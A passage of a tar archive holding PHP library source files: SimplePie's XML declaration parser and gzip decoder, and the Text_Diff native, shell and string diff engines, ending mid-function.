0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Parses the XML Declaration * * @package SimplePie * @subpackage Parsing */ class SimplePie_XML_Declaration_Parser { /** * XML Version * * @access public * @var string */ var $version = '1.0'; /** * Encoding * * @access public * @var string */ var $encoding = 'UTF-8'; /** * Standalone * * @access public * @var bool */ var $standalone = false; /** * Current state of the state machine * * @access private * @var string */ var $state = 'before_version_name'; /** * Input data * * @access private * @var string */ var $data = ''; /** * Input data length (to avoid calling strlen() everytime this is needed) * * @access private * @var int */ var $data_length = 0; /** * Current position of the pointer * * @var int * @access private */ var $position = 0; /** * Create an instance of the class with the input data * * @access public * @param string $data Input data */ public function __construct($data) { $this->data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @access public * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== 'emit' && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === 'emit') { return true; } $this->version = ''; $this->encoding = ''; $this->standalone = ''; return false; } /** * Check whether there is data beyond the pointer * * @access private * @return bool true if there is further data, false if not */ public function has_data() { return (bool) ($this->position < $this->data_length); } /** * Advance past any whitespace * * @return int Number of whitespace characters passed */ public function skip_whitespace() { $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position); $this->position += $whitespace; return $whitespace; } /** * Read value */ public function get_value() { $quote = substr($this->data, $this->position, 1); if ($quote === '"' || $quote === "'") { $this->position++; $len = strcspn($this->data, $quote, $this->position); if ($this->has_data()) { $value = substr($this->data, $this->position, $len); $this->position += $len + 1; return $value; } } return false; } public function before_version_name() { if ($this->skip_whitespace()) { $this->state = 'version_name'; } else { $this->state = false; } } public function version_name() { if (substr($this->data, $this->position, 7) === 'version') { $this->position += 7; $this->skip_whitespace(); $this->state = 'version_equals'; } else { $this->state = false; } } public function version_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'version_value'; } else { $this->state = false; } } public function version_value() { if ($this->version = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = 'encoding_name'; } else { $this->state = 'emit'; } } else { $this->state = false; } } public function encoding_name() { if (substr($this->data, $this->position, 8) === 'encoding') { $this->position += 8; $this->skip_whitespace(); $this->state = 'encoding_equals'; } else { $this->state = 'standalone_name'; } } public function encoding_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'encoding_value'; } else { $this->state = false; } } public function encoding_value() { if ($this->encoding = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = 'standalone_name'; } else { $this->state = 'emit'; } } else { $this->state = false; } } public function standalone_name() { if (substr($this->data, $this->position, 10) === 'standalone') { $this->position += 10; $this->skip_whitespace(); $this->state = 'standalone_equals'; } else { $this->state = false; } } public function standalone_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'standalone_value'; } else { $this->state = false; } } public function standalone_value() { if ($standalone = $this->get_value()) { switch ($standalone) { case 'yes': $this->standalone = true; break; case 'no': $this->standalone = false; break; default: $this->state = false; return; } $this->skip_whitespace(); if ($this->has_data()) { $this->state = false; } else { $this->state = 'emit'; } } else { $this->state = false; } } } ����������������������������������������������������������������������SimplePie/gzdecode.php������������������������������������������������������������������������������0000644�����������������00000020472�15120262027�0010732 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Decode 'gzip' encoded HTTP data * * @package SimplePie * @subpackage HTTP * @link http://www.gzip.org/format.txt */ class SimplePie_gzdecode { /** * Compressed data * * @access private * @var string * @see gzdecode::$data */ var $compressed_data; /** * Size of compressed data * * @access private * @var int */ var $compressed_size; /** * Minimum size of a valid gzip string * * @access private * @var int */ var $min_compressed_size = 18; /** * Current position of pointer * * @access private * @var int */ var $position = 0; /** * Flags (FLG) * * @access private * @var int */ var $flags; /** * Uncompressed data * * @access public * @see gzdecode::$compressed_data * @var string */ var $data; /** * Modified time * * @access public * @var int */ var $MTIME; /** * Extra Flags * * @access public * @var int */ var $XFL; /** * Operating System * * @access public * @var int */ var $OS; /** * Subfield ID 1 * * @access public * @see gzdecode::$extra_field * @see gzdecode::$SI2 * @var string */ var $SI1; /** * Subfield ID 2 * * @access public * @see gzdecode::$extra_field * @see gzdecode::$SI1 * @var string */ var $SI2; /** * Extra field content * * @access public * @see gzdecode::$SI1 * @see gzdecode::$SI2 * @var string */ var $extra_field; /** * Original filename * * @access public * @var string */ var $filename; /** * Human readable comment * * @access public * @var string */ var $comment; /** * Don't allow anything to be set * * @param string $name * @param mixed $value */ public function __set($name, $value) { trigger_error("Cannot write property $name", E_USER_ERROR); } /** * Set the compressed string and related properties * * @param string $data */ public function __construct($data) { $this->compressed_data = $data; $this->compressed_size = strlen($data); } /** * Decode the GZIP stream * * @return bool Successfulness */ public function parse() { if ($this->compressed_size >= $this->min_compressed_size) { // Check ID1, ID2, and CM if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") { return false; } // Get the FLG (FLaGs) $this->flags = ord($this->compressed_data[3]); // FLG bits above (1 << 4) are reserved if ($this->flags > 0x1F) { return false; } // Advance the pointer after the above $this->position += 4; // MTIME $mtime = substr($this->compressed_data, $this->position, 4); // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness if (current(unpack('S', "\x00\x01")) === 1) { $mtime = strrev($mtime); } $this->MTIME = current(unpack('l', $mtime)); $this->position += 4; // Get the XFL (eXtra FLags) $this->XFL = ord($this->compressed_data[$this->position++]); // Get the OS (Operating System) $this->OS = ord($this->compressed_data[$this->position++]); // Parse the FEXTRA if ($this->flags & 4) { // Read subfield IDs $this->SI1 = $this->compressed_data[$this->position++]; $this->SI2 = $this->compressed_data[$this->position++]; // SI2 set to zero is reserved for future use if ($this->SI2 === "\x00") { return false; } // Get the length of the extra field $len = current(unpack('v', substr($this->compressed_data, $this->position, 2))); $this->position += 2; // Check the length of the string is still valid $this->min_compressed_size += $len + 4; if ($this->compressed_size >= $this->min_compressed_size) { // Set the extra field to the given data $this->extra_field = substr($this->compressed_data, $this->position, $len); $this->position += $len; } else { return false; } } // Parse the FNAME if ($this->flags & 8) { // Get the length of the filename $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original filename to the given string $this->filename = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FCOMMENT if ($this->flags & 16) { // Get the length of the comment $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original comment to the given string $this->comment = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FHCRC if ($this->flags & 2) { // Check the length of the string is still valid $this->min_compressed_size += $len + 2; if ($this->compressed_size >= $this->min_compressed_size) { // Read the CRC $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2))); // Check the CRC matches if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) { $this->position += 2; } else { return false; } } else { return false; } } // Decompress the actual data if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) { return false; } $this->position = $this->compressed_size - 8; // Check CRC of data $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc)) { return false; }*/ // Check ISIZE of data $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) { return false; } // Wow, against all odds, we've actually got a valid gzip string return true; } return false; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Text/Diff/Engine/native.php�������������������������������������������������������������������������0000644�����������������00000037020�15120262027�0011543 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class used internally by Text_Diff to actually compute the diffs. * * This class is implemented using native PHP code. * * The algorithm used here is mostly lifted from the perl module * Algorithm::Diff (version 1.06) by Ned Konz, which is available at: * http://www.perl.com/CPAN/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip * * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html * * Some ideas (and a bit of code) are taken from analyze.c, of GNU * diffutils-2.7, which can be found at: * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz * * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this * code was written by him, and is used/adapted with his permission. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see http://opensource.org/licenses/lgpl-license.php. * * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * @package Text_Diff */ class Text_Diff_Engine_native { function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $n_from = count($from_lines); $n_to = count($to_lines); $this->xchanged = $this->ychanged = array(); $this->xv = $this->yv = array(); $this->xind = $this->yind = array(); unset($this->seq); unset($this->in_seq); unset($this->lcs); // Skip leading common lines. for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) { if ($from_lines[$skip] !== $to_lines[$skip]) { break; } $this->xchanged[$skip] = $this->ychanged[$skip] = false; } // Skip trailing common lines. $xi = $n_from; $yi = $n_to; for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) { if ($from_lines[$xi] !== $to_lines[$yi]) { break; } $this->xchanged[$xi] = $this->ychanged[$yi] = false; } // Ignore lines which do not exist in both files. for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $xhash[$from_lines[$xi]] = 1; } for ($yi = $skip; $yi < $n_to - $endskip; $yi++) { $line = $to_lines[$yi]; if (($this->ychanged[$yi] = empty($xhash[$line]))) { continue; } $yhash[$line] = 1; $this->yv[] = $line; $this->yind[] = $yi; } for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $line = $from_lines[$xi]; if (($this->xchanged[$xi] = empty($yhash[$line]))) { continue; } $this->xv[] = $line; $this->xind[] = $xi; } // Find the LCS. $this->_compareseq(0, count($this->xv), 0, count($this->yv)); // Merge edits when possible. $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged); $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged); // Compute the edit operations. $edits = array(); $xi = $yi = 0; while ($xi < $n_from || $yi < $n_to) { assert($yi < $n_to || $this->xchanged[$xi]); assert($xi < $n_from || $this->ychanged[$yi]); // Skip matching "snake". $copy = array(); while ($xi < $n_from && $yi < $n_to && !$this->xchanged[$xi] && !$this->ychanged[$yi]) { $copy[] = $from_lines[$xi++]; ++$yi; } if ($copy) { $edits[] = new Text_Diff_Op_copy($copy); } // Find deletes & adds. $delete = array(); while ($xi < $n_from && $this->xchanged[$xi]) { $delete[] = $from_lines[$xi++]; } $add = array(); while ($yi < $n_to && $this->ychanged[$yi]) { $add[] = $to_lines[$yi++]; } if ($delete && $add) { $edits[] = new Text_Diff_Op_change($delete, $add); } elseif ($delete) { $edits[] = new Text_Diff_Op_delete($delete); } elseif ($add) { $edits[] = new Text_Diff_Op_add($add); } } return $edits; } /** * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF, * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized * segments. * * Returns (LCS, PTS). LCS is the length of the LCS. PTS is an array of * NCHUNKS+1 (X, Y) indexes giving the diving points between sub * sequences. The first sub-sequence is contained in (X0, X1), (Y0, Y1), * the second in (X1, X2), (Y1, Y2) and so on. Note that (X0, Y0) == * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM). * * This function assumes that the first lines of the specified portions of * the two files do not match, and likewise that the last lines do not * match. The caller must trim matching lines from the beginning and end * of the portions it is going to specify. */ function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks) { $flip = false; if ($xlim - $xoff > $ylim - $yoff) { /* Things seems faster (I'm not sure I understand why) when the * shortest sequence is in X. */ $flip = true; list ($xoff, $xlim, $yoff, $ylim) = array($yoff, $ylim, $xoff, $xlim); } if ($flip) { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->xv[$i]][] = $i; } } else { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->yv[$i]][] = $i; } } $this->lcs = 0; $this->seq[0]= $yoff - 1; $this->in_seq = array(); $ymids[0] = array(); $numer = $xlim - $xoff + $nchunks - 1; $x = $xoff; for ($chunk = 0; $chunk < $nchunks; $chunk++) { if ($chunk > 0) { for ($i = 0; $i <= $this->lcs; $i++) { $ymids[$i][$chunk - 1] = $this->seq[$i]; } } $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks); for (; $x < $x1; $x++) { $line = $flip ? $this->yv[$x] : $this->xv[$x]; if (empty($ymatches[$line])) { continue; } $matches = $ymatches[$line]; reset($matches); while ($y = current($matches)) { if (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; break; } next($matches); } while ($y = current($matches)) { if ($y > $this->seq[$k - 1]) { assert($y <= $this->seq[$k]); /* Optimization: this is a common case: next match is * just replacing previous match. */ $this->in_seq[$this->seq[$k]] = false; $this->seq[$k] = $y; $this->in_seq[$y] = 1; } elseif (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; } next($matches); } } } $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff); $ymid = $ymids[$this->lcs]; for ($n = 0; $n < $nchunks - 1; $n++) { $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks); $y1 = $ymid[$n] + 1; $seps[] = $flip ? array($y1, $x1) : array($x1, $y1); } $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim); return array($this->lcs, $seps); } function _lcsPos($ypos) { $end = $this->lcs; if ($end == 0 || $ypos > $this->seq[$end]) { $this->seq[++$this->lcs] = $ypos; $this->in_seq[$ypos] = 1; return $this->lcs; } $beg = 1; while ($beg < $end) { $mid = (int)(($beg + $end) / 2); if ($ypos > $this->seq[$mid]) { $beg = $mid + 1; } else { $end = $mid; } } assert($ypos != $this->seq[$end]); $this->in_seq[$this->seq[$end]] = false; $this->seq[$end] = $ypos; $this->in_seq[$ypos] = 1; return $end; } /** * Finds LCS of two sequences. * * The results are recorded in the vectors $this->{x,y}changed[], by * storing a 1 in the element for each line that is an insertion or * deletion (ie. is not in the LCS). * * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1. * * Note that XLIM, YLIM are exclusive bounds. All line numbers are * origin-0 and discarded lines are not counted. */ function _compareseq ($xoff, $xlim, $yoff, $ylim) { /* Slide down the bottom initial diagonal. */ while ($xoff < $xlim && $yoff < $ylim && $this->xv[$xoff] == $this->yv[$yoff]) { ++$xoff; ++$yoff; } /* Slide up the top initial diagonal. */ while ($xlim > $xoff && $ylim > $yoff && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) { --$xlim; --$ylim; } if ($xoff == $xlim || $yoff == $ylim) { $lcs = 0; } else { /* This is ad hoc but seems to work well. $nchunks = * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks = * max(2,min(8,(int)$nchunks)); */ $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1; list($lcs, $seps) = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks); } if ($lcs == 0) { /* X and Y sequences have no common subsequence: mark all * changed. */ while ($yoff < $ylim) { $this->ychanged[$this->yind[$yoff++]] = 1; } while ($xoff < $xlim) { $this->xchanged[$this->xind[$xoff++]] = 1; } } else { /* Use the partitions to split this problem into subproblems. */ reset($seps); $pt1 = $seps[0]; while ($pt2 = next($seps)) { $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]); $pt1 = $pt2; } } } /** * Adjusts inserts/deletes of identical lines to join changes as much as * possible. * * We do something when a run of changed lines include a line at one end * and has an excluded, identical line at the other. We are free to * choose which identical line is included. `compareseq' usually chooses * the one at the beginning, but usually it is cleaner to consider the * following identical line to be the "change". * * This is extracted verbatim from analyze.c (GNU diffutils-2.7). */ function _shiftBoundaries($lines, &$changed, $other_changed) { $i = 0; $j = 0; assert(count($lines) == count($changed)); $len = count($lines); $other_len = count($other_changed); while (1) { /* Scan forward to find the beginning of another run of * changes. Also keep track of the corresponding point in the * other file. * * Throughout this code, $i and $j are adjusted together so that * the first $i elements of $changed and the first $j elements of * $other_changed both contain the same number of zeros (unchanged * lines). * * Furthermore, $j is always kept so that $j == $other_len or * $other_changed[$j] == false. */ while ($j < $other_len && $other_changed[$j]) { $j++; } while ($i < $len && ! $changed[$i]) { assert($j < $other_len && ! $other_changed[$j]); $i++; $j++; while ($j < $other_len && $other_changed[$j]) { $j++; } } if ($i == $len) { break; } $start = $i; /* Find the end of this run of changes. */ while (++$i < $len && $changed[$i]) { continue; } do { /* Record the length of this run of changes, so that we can * later determine whether the run has grown. */ $runlength = $i - $start; /* Move the changed region back, so long as the previous * unchanged line matches the last changed one. This merges * with previous changed regions. */ while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) { $changed[--$start] = 1; $changed[--$i] = false; while ($start > 0 && $changed[$start - 1]) { $start--; } assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } /* Set CORRESPONDING to the end of the changed run, at the * last point where it corresponds to a changed run in the * other file. CORRESPONDING == LEN means no such point has * been found. */ $corresponding = $j < $other_len ? $i : $len; /* Move the changed region forward, so long as the first * changed line matches the following unchanged one. This * merges with following changed regions. Do this second, so * that if there are no merges, the changed region is moved * forward as far as possible. */ while ($i < $len && $lines[$start] == $lines[$i]) { $changed[$start++] = false; $changed[$i++] = 1; while ($i < $len && $changed[$i]) { $i++; } assert($j < $other_len && ! $other_changed[$j]); $j++; if ($j < $other_len && $other_changed[$j]) { $corresponding = $i; while ($j < $other_len && $other_changed[$j]) { $j++; } } } } while ($runlength != $i - $start); /* If possible, move the fully-merged run of changes back to a * corresponding run in the other file. */ while ($corresponding < $i) { $changed[--$start] = 1; $changed[--$i] = 0; assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Text/Diff/Engine/shell.php��������������������������������������������������������������������������0000644�����������������00000012132�15120262027�0011361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class used internally by Diff to actually compute the diffs. * * This class uses the Unix `diff` program via shell_exec to compute the * differences between the two input arrays. * * Copyright 2007-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see http://opensource.org/licenses/lgpl-license.php. * * @author Milian Wolff <mail@milianw.de> * @package Text_Diff * @since 0.3.0 */ class Text_Diff_Engine_shell { /** * Path to the diff executable * * @var string */ var $_diffCommand = 'diff'; /** * Returns the array of differences. * * @param array $from_lines lines of text from old file * @param array $to_lines lines of text from new file * * @return array all changes made (array with Text_Diff_Op_* objects) */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $temp_dir = Text_Diff::_getTempDir(); // Execute gnu diff or similar to get a standard diff file. $from_file = tempnam($temp_dir, 'Text_Diff'); $to_file = tempnam($temp_dir, 'Text_Diff'); $fp = fopen($from_file, 'w'); fwrite($fp, implode("\n", $from_lines)); fclose($fp); $fp = fopen($to_file, 'w'); fwrite($fp, implode("\n", $to_lines)); fclose($fp); $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); unlink($from_file); unlink($to_file); if (is_null($diff)) { // No changes were made return array(new Text_Diff_Op_copy($from_lines)); } $from_line_no = 1; $to_line_no = 1; $edits = array(); // Get changed lines by parsing something like: // 0a1,2 // 1,2c4,6 // 1,5d6 preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, $matches, PREG_SET_ORDER); foreach ($matches as $match) { if (!isset($match[5])) { // This paren is not set every time (see regex). $match[5] = false; } if ($match[3] == 'a') { $from_line_no--; } if ($match[3] == 'd') { $to_line_no--; } if ($from_line_no < $match[1] || $to_line_no < $match[4]) { // copied lines assert($match[1] - $from_line_no == $match[4] - $to_line_no); array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $match[1] - 1), $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); } switch ($match[3]) { case 'd': // deleted lines array_push($edits, new Text_Diff_Op_delete( $this->_getLines($from_lines, $from_line_no, $match[2]))); $to_line_no++; break; case 'c': // changed lines array_push($edits, new Text_Diff_Op_change( $this->_getLines($from_lines, $from_line_no, $match[2]), $this->_getLines($to_lines, $to_line_no, $match[5]))); break; case 'a': // added lines array_push($edits, new Text_Diff_Op_add( $this->_getLines($to_lines, $to_line_no, $match[5]))); $from_line_no++; break; } } if (!empty($from_lines)) { // Some lines might still be pending. Add them as copied array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $from_line_no + count($from_lines) - 1), $this->_getLines($to_lines, $to_line_no, $to_line_no + count($to_lines) - 1))); } return $edits; } /** * Get lines from either the old or new text * * @access private * * @param array $text_lines Either $from_lines or $to_lines (passed by reference). * @param int $line_no Current line number (passed by reference). * @param int $end Optional end line, when we want to chop more * than one line. * * @return array The chopped lines */ function _getLines(&$text_lines, &$line_no, $end = false) { if (!empty($end)) { $lines = array(); // We can shift even more while ($line_no <= $end) { array_push($lines, array_shift($text_lines)); $line_no++; } } else { $lines = array(array_shift($text_lines)); $line_no++; } return $lines; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Text/Diff/Engine/string.php�������������������������������������������������������������������������0000644�����������������00000020242�15120262027�0011561 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Parses unified or context diffs output from eg. the diff utility. * * Example: * <code> * $patch = file_get_contents('example.patch'); * $diff = new Text_Diff('string', array($patch)); * $renderer = new Text_Diff_Renderer_inline(); * echo $renderer->render($diff); * </code> * * Copyright 2005 Örjan Persson <o@42mm.org> * Copyright 2005-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see http://opensource.org/licenses/lgpl-license.php. * * @author Örjan Persson <o@42mm.org> * @package Text_Diff * @since 0.2.0 */ class Text_Diff_Engine_string { /** * Parses a unified or context diff. * * First param contains the whole diff and the second can be used to force * a specific diff type. If the second parameter is 'autodetect', the * diff will be examined to find out which type of diff this is. * * @param string $diff The diff content. * @param string $mode The diff mode of the content in $diff. One of * 'context', 'unified', or 'autodetect'. * * @return array List of all diff operations. */ function diff($diff, $mode = 'autodetect') { // Detect line breaks. $lnbr = "\n"; if (strpos($diff, "\r\n") !== false) { $lnbr = "\r\n"; } elseif (strpos($diff, "\r") !== false) { $lnbr = "\r"; } // Make sure we have a line break at the EOF. if (substr($diff, -strlen($lnbr)) != $lnbr) { $diff .= $lnbr; } if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') { return PEAR::raiseError('Type of diff is unsupported'); } if ($mode == 'autodetect') { $context = strpos($diff, '***'); $unified = strpos($diff, '---'); if ($context === $unified) { return PEAR::raiseError('Type of diff could not be detected'); } elseif ($context === false || $unified === false) { $mode = $context !== false ? 'context' : 'unified'; } else { $mode = $context < $unified ? 'context' : 'unified'; } } // Split by new line and remove the diff header, if there is one. $diff = explode($lnbr, $diff); if (($mode == 'context' && strpos($diff[0], '***') === 0) || ($mode == 'unified' && strpos($diff[0], '---') === 0)) { array_shift($diff); array_shift($diff); } if ($mode == 'context') { return $this->parseContextDiff($diff); } else { return $this->parseUnifiedDiff($diff); } } /** * Parses an array containing the unified diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseUnifiedDiff($diff) { $edits = array(); $end = count($diff) - 1; for ($i = 0; $i < $end;) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case ' ': do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == ' '); $edits[] = new Text_Diff_Op_copy($diff1); break; case '+': // get all new lines do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': // get changed or removed lines $diff2 = array(); do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '-'); while ($i < $end && substr($diff[$i], 0, 1) == '+') { $diff2[] = substr($diff[$i++], 1); } if (count($diff2) == 0) { $edits[] = new Text_Diff_Op_delete($diff1); } else { $edits[] = new Text_Diff_Op_change($diff1, $diff2); } break; default: $i++; break; } } return $edits; } /** * Parses an array containing the context diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseContextDiff(&$diff) { $edits = array(); $i = $max_i = $j = $max_j = 0; $end = count($diff) - 1; while ($i < $end && $j < $end) { while ($i >= $max_i && $j >= $max_j) { // Find the boundaries of the diff output of the two files for ($i = $j; $i < $end && substr($diff[$i], 0, 3) == '***'; $i++); for ($max_i = $i; 